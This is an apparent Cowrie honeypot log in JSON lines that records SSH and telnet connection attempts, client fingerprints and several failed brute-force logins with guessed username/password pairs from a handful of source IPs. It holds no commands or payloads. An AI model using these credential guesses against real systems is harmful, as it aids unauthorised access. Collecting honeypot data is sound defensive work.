{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47410,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0d02f615097","protocol":"telnet","message":"New connection: 161.97.124.15:47410 (159.203.135.109:23) [session: b0d02f615097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:39.929167Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":52968,"dst_ip":"159.203.135.109","dst_port":23,"session":"0706a767d9a4","protocol":"telnet","message":"New connection: 161.97.124.15:52968 (159.203.135.109:23) [session: 0706a767d9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:41.745141Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d80e19430e8c","protocol":"ssh","message":"New connection: 176.65.139.103:42748 (10.17.0.5:22) [session: d80e19430e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:42.854694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:42.858787Z","src_ip":"176.65.139.103","session":"d80e19430e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:42.943297Z","src_ip":"176.65.139.103","session":"d80e19430e8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:43.314906Z","src_ip":"176.65.139.103","session":"d80e19430e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:44.538508Z","src_ip":"176.65.139.103","session":"d80e19430e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.881567239761353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:47.301455Z","src_ip":"161.97.124.15","session":"4b74719b9d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35082,"dst_ip":"10.17.0.5","dst_port":22,"session":"f743f72f7118","protocol":"ssh","message":"New connection: 176.65.139.103:35082 (10.17.0.5:22) [session: f743f72f7118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:49.457510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:49.461932Z","src_ip":"176.65.139.103","session":"f743f72f7118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:49.545407Z","src_ip":"176.65.139.103","session":"f743f72f7118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:49.831720Z","src_ip":"176.65.139.103","session":"f743f72f7118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:50.987865Z","src_ip":"176.65.139.103","session":"f743f72f7118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57660,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f6b8a7150f","protocol":"telnet","message":"New connection: 161.97.124.15:57660 (159.203.135.109:23) [session: f3f6b8a7150f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:53.675560Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60272,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c03d7f49af8","protocol":"ssh","message":"New connection: 176.65.139.103:60272 (10.17.0.5:22) [session: 4c03d7f49af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:56.046392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:56.051479Z","src_ip":"176.65.139.103","session":"4c03d7f49af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:56.133374Z","src_ip":"176.65.139.103","session":"4c03d7f49af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:56.384392Z","src_ip":"176.65.139.103","session":"4c03d7f49af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:57.485166Z","src_ip":"176.65.139.103","session":"4c03d7f49af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":42178,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ae59c5e943","protocol":"telnet","message":"New connection: 161.97.124.15:42178 (159.203.135.109:23) [session: 17ae59c5e943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:58.514397Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":58856,"dst_ip":"10.17.0.5","dst_port":22,"session":"7302504543ea","protocol":"ssh","message":"New connection: 103.176.20.115:58856 (10.17.0.5:22) [session: 7302504543ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.276805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.281512Z","src_ip":"103.176.20.115","session":"7302504543ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.528092Z","src_ip":"103.176.20.115","session":"7302504543ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60284,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef553d50eb28","protocol":"ssh","message":"New connection: 176.65.139.103:60284 (10.17.0.5:22) [session: ef553d50eb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.554145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.558205Z","src_ip":"176.65.139.103","session":"ef553d50eb28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.641492Z","src_ip":"176.65.139.103","session":"ef553d50eb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:02.921056Z","src_ip":"176.65.139.103","session":"ef553d50eb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenkai","message":"login attempt [root/chenkai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:03.544112Z","src_ip":"103.176.20.115","session":"7302504543ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:04.011931Z","src_ip":"176.65.139.103","session":"ef553d50eb28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:04.792525Z","src_ip":"103.176.20.115","session":"7302504543ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":33882,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e361df35c3","protocol":"telnet","message":"New connection: 161.97.124.15:33882 (159.203.135.109:23) [session: 43e361df35c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:05.750369Z"}
{"eventid":"cowrie.session.closed","duration":30.99834632873535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:08.441363Z","src_ip":"161.97.124.15","session":"3a160c41999a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53760,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a66a20695a","protocol":"ssh","message":"New connection: 176.65.139.103:53760 (10.17.0.5:22) [session: 87a66a20695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:09.318376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:09.322567Z","src_ip":"176.65.139.103","session":"87a66a20695a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:09.404888Z","src_ip":"176.65.139.103","session":"87a66a20695a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:09.656575Z","src_ip":"176.65.139.103","session":"87a66a20695a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.165015697479248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:10.094088Z","src_ip":"161.97.124.15","session":"b0d02f615097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:10.766078Z","src_ip":"176.65.139.103","session":"87a66a20695a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32158875465393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:12.066607Z","src_ip":"161.97.124.15","session":"0706a767d9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53662,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd69d666c663","protocol":"telnet","message":"New connection: 161.97.124.15:53662 (159.203.135.109:23) [session: fd69d666c663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:12.955538Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":48982,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7dd31327258","protocol":"ssh","message":"New connection: 202.184.144.220:48982 (10.17.0.5:22) [session: d7dd31327258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:14.885890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:14.890920Z","src_ip":"202.184.144.220","session":"d7dd31327258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":58540,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9b81801a36","protocol":"telnet","message":"New connection: 161.97.124.15:58540 (159.203.135.109:23) [session: 1b9b81801a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:14.967962Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:15.133852Z","src_ip":"202.184.144.220","session":"d7dd31327258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134778022766,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:15.155999Z","src_ip":"177.54.170.240","session":"12928ceafeab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":60266,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e65789db99","protocol":"telnet","message":"New connection: 177.54.170.240:60266 (10.17.0.5:23) [session: 62e65789db99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:15.423039Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57048,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2cab6d05c1a","protocol":"ssh","message":"New connection: 176.65.139.103:57048 (10.17.0.5:22) [session: f2cab6d05c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:15.539157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:15.617818Z","src_ip":"176.65.139.103","session":"f2cab6d05c1a","protocol":"ssh"}
